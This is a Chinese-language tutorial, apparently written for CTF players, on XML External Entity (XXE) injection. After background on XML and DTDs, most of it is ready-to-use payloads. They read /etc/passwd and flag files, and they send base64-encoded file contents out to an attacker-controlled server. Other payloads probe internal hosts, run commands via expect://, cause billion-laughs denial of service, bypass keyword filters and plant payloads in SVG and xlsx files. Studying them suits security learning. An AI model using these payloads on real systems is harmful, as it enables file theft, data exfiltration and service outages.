一、XXE 是什么
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面(这可能就是为什么单独说 而没有说 XML 注入的原因吧,或许普通的 XML 注入真的太鸡肋了,现实中几乎用不到)
二、背景知识:
XML是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所采用。它用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,…),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,…),他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。
在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。
其于HTML的区别是:
- HTML 被设计用来显示数据
- XML 被设计用来传输和存储数据
XML文档结构包括:
- XML声明
- DTD文档类型定义(可选)
- 文档元素
三、基础知识
1.典型的xml文档
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<!--文档元素-->
<foo>&xxe;</foo>
2.DTD概念及声明、引用方式
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。
DTD一般认为有两种引用或声明方式:
- 1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
- 2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
DTD实体有以下几种声明方式
内部实体
<!DOCTYPE a [
<!ENTITY b "hello world">
]>
<a>&b</a>
输出结果:
<!-- hello world -->
内部参数实体
<!DOCTYPE a> [
<!ENTITY % b "<!ENTITY b1 "awsl">">
%b;
]>
<a>&b1</a>
输出结果:
<!-- awsl -->
- 参数实体用
% name
申明,引用时用%name;
,只能在DTD中申明,DTD中引用。 - 其余实体直接用
name
申明,引用时用&name;
,只能在DTD中申明,可在xml文档中引用
外部实体
<!DOCTYPE a> [
<!ENTITY b SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<a>&b</a>
输出结果:
<!-- SV9hTV9hX2YxNGc= -->
外部参数实体
<!DOCTYPE a> [
<!ENTITY % b SYSTEM "http://10.10.10.10/xml.dtd">
%b;
]>
<a>&b1</a>
输出结果:
<!-- SV9hTV9hX2YxNGc= -->
<!-- http://10.10.10.10/xml.dtd -->
<!ENTITY b1 SYSTEM "data://text/plain;base64,SV9hTV9hX2YxNGc=">
<!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA==">
四、XXE的应用
1.任意文件读取
一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据。
有回显
恶意引入外部实体
直接读靶机文件
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///flag" >
]>
<user><username>&xxe;</username><password>1234</password></user>
恶意引入外部参数实体
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://vps-ip/hack.dtd">
%file;
]>
<test>&hack;</test>
<!-- hack.dtd -->
<!ENTITY hack SYSTEM 'file:///etc/passwd'>
无回显
OOB
先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>
PS:内部的%号要进行实体编码成%。
<!-- evil.dtd -->
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;
访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。
基于报错
基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据,所以和OOB的构造方式几乎只有url出不同,其他地方相同。
通过引入服务器文件
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://blog.szfszf.top/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>
<!-- xml.dtd -->
<!ENTITY % start "<!ENTITY % send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;
通过引入本地文件
如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'file://hhhhhhhh/?%file;'>">
%eval;
%send;
'>
%remote;
]>
<message>1234</message>
第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;,在ISOamso定义的实体中相继调用了eval、和send
嵌套参数实体
虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://myip/?%file;'>">
%start;
%send;
]>
<message>1234</message>
基于报错的三层嵌套参数实体XXE
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>">
%para2;
'>
%para;
]>
<message>1234</message>
2.内网探测
和读文件差不多,只不过把URI改成内网机器地址
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1/1.txt" >
]>
<user><firstname>&xxe;</firstname><lastname>1234</lastname></user>
3.RCE
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:
以下代码将尝试与端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2021-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
响应:
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
4.DOS攻击
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
如果目标是UNIX系统,
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random">
]>
<foo>&xxe;</foo>
如果 XML 解析器尝试使用/dev/random
文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。
五、XXE绕过
1.大小写绕过
利用政策匹配不严格,大小写绕过
2.ENTITY、SYSTEM、file等关键词被过滤
使用编码方式绕过:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
3.html实体编码绕过
如果过滤了http等协议,可以利用实体编码绕过:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a "<!ENTITY b SYSTEM 'file:///flag' >" >
%a;
]>
<test>&b;</test>
4.data://协议绕过
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a " <!ENTITY % b SYSTEM 'http://10.10.10.10:8080/hack.dtd'> ">
%a;
%b;
]>
<test>&b;</test>
<!--编码内容-->
<!ENTITY % b SYSTEM 'http://10.10.10.10:8080/hack.dtd'>
5.file://协议加文件上传
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://10.10.10.10:8080/hack.dtd'>
6.php://filter协议加文件上传
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hack;
</test>
<!--上传文件-->
<!ENTITY hack SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hack;
</test>
<!--上传文件-->
(<!ENTITY hack SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>的base64加密)
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
六、利用场景
1.svg
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
tips:从当前文件夹读取文件可以使用/proc/self/cwd
2.excel
首先用excel创建一个空白的xlsx,然后解压
mkdir XXE && cd XXE
unzip ../XXE.xlsx
将[Content_Types].xml
改成恶意xml,再压缩回去
zip -r ../poc.xlsx *
七、CTF须知
在ctf比赛中常访问的文件地址:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE a [
<!ELEMENT a ANY >
<!ENTITY b SYSTEM "file:///etc/passwd"
>]>
<a>&b;</a>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE a [
<!ELEMENT a ANY >
<!ENTITY b SYSTEM "file:///etc/hosts"
>]>
<a>&b;</a>
flag在没有提示时通常在根目录下,通过file:///来读取,通常为flag、flag.txt、flah.php文件
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE a [
<!ELEMENT a ANY >
<!ENTITY b SYSTEM "file:///flag"
>]>
<a>&b;</a>
参考:
Blind XXE 详解 + Google CTF 一道题目分析